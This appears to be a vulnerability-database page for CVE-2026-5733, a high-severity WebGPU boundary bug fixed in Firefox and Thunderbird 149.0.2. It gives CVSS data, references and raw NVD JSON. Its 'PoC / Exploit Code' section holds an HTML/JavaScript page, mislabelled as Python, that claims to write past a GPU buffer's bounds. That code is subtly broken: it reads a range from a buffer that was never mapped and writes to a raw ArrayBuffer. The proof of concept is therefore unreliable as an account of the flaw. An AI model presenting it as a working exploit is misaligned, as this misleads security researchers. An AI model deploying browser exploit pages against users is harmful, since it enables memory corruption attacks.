CVE-2026-5733

Description

Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 149.0.2 and Thunderbird 149.0.2.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

Firefox < 149.0.2

Thunderbird < 149.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-5733: WebGPU Boundary Condition -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-5733 PoC</title></head>
<body>
<script>
async function triggerVuln() {
    if (!navigator.gpu) {
        console.log("WebGPU not supported");
        return;
    }
    const adapter = await navigator.gpu.requestAdapter();
    const device = await adapter.requestDevice();
    
    // Create a buffer to simulate the condition
    const bufferSize = 1024;
    const buffer = device.createBuffer({
        size: bufferSize,
        usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST,
    });

    // Simulate incorrect boundary access logic
    const mapped = buffer.getMappedRange();
    // Attempting to write beyond allocated bounds to trigger the vulnerability
    for (let i = 0; i < bufferSize + 100; i++) {
        mapped[i] = 0x41; // Write 'A'
    }
}
triggerVuln();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5733
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5733
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5733/
[4] VulDB https://vuldb.com/cve/CVE-2026-5733
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2022554
[6] https://www.mozilla.org/security/advisories/mfsa2026-25/
[7] https://www.mozilla.org/security/advisories/mfsa2026-28/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5733", "sourceIdentifier": "[email protected]", "published": "2026-04-07T13:16:47.567", "lastModified": "2026-04-13T15:17:46.643", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 149.0.2 and Thunderbird 149.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0.2", "matchCriteriaId": "CF910B3C-C241-48B5-9066-260750E8E7ED"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2022554", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-25/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-28/", "source": "[email protected]"}]}}